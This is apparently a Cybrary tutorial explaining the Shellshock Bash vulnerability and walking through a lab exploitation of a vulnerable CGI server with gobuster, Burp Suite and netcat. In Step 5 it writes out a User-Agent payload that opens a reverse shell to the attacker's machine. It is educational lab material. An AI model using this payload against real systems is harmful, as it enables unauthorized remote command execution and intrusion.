ShellShock: All You Need to Know About the Bash Bug Vulnerability

March 27, 2018 | Views: 3561

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Shellshock is basically Remote Command Execution vulnerability in BASH also known as Bashdoor.

In this vulnerability, BASH incorrectly executes trailing commands when it imports a function definition stored into an environment variable.

Bash allows exporting shell functions to other bash instances. It is done by creating an environment variable with the function definition.

v  Affected bash versions:

All versions of Bash up to and including version 4.3 are vulnerable.  To be sure, check with your *nix vendor’s website for specific patched versions.

Check Bash version using command: bash –version.

v  Specific exploitation vectors:

1.    CGI-based web server

2.    OpenSSH server

3.    DHCP clients

4.    Qmail server

5.    IBM HMC restricted shell

v  Exploit example

ü  Remote Machine: 192.168.20.54 (CGI based web-server which is vulnerable to shellshock)

Available at: https://isos.pentesterlab.com/cve-2014-6271.iso

ü  Local Machine     : 192.168.20.56 (Kali-Linux machine which we use for exploit remote server)

Step 1: Using “gobuster”, identified that web-server uses the Common Gateway Interface (CGI) to handle a document request.

CGI based web-server copies certain information like User-agents from the request into the environment variable list and then delegates the request to a handler program.

Step 2: Using “Burp suite”, capture the request of accessing /cgi-bin/status files and sent it to burp suite’s repeater tab.

 

Step 3: Now in the repeater tab, sent the request and not down the response of the server.



Step 4: Now using NC command, on our local machine (local machine IP: 192.168.20.59) start listening the port 5454. So if remote machine get exploited successfully it will make connection to port 5454.


Step 5: Now to exploit shellshock vulnerability, we will replace the “User-Agent:” contents with shellshock payload like “() { : ; }; /usr/bin/nc 192.168.20.59 5454 -e /bin/bash.



On successful exploitation arbitrary OS command nc  192.168.20.59  5454  of shellshock payload will get executed and create connection to our local machine on port 5454 and will get the shell access to the remote machine.



Step 6: As our payload successfully exploited on remote server we got the connection on out local machine where we are listening on port 5454 from remote machine (IP: 192.168.20.54).

Step 6: Now we will try to get interactive shell on Remote exploited machine and can enumerate further.

Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterGoogle+LinkedInEmail
Ready to share your knowledge and expertise?
1 Comment
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel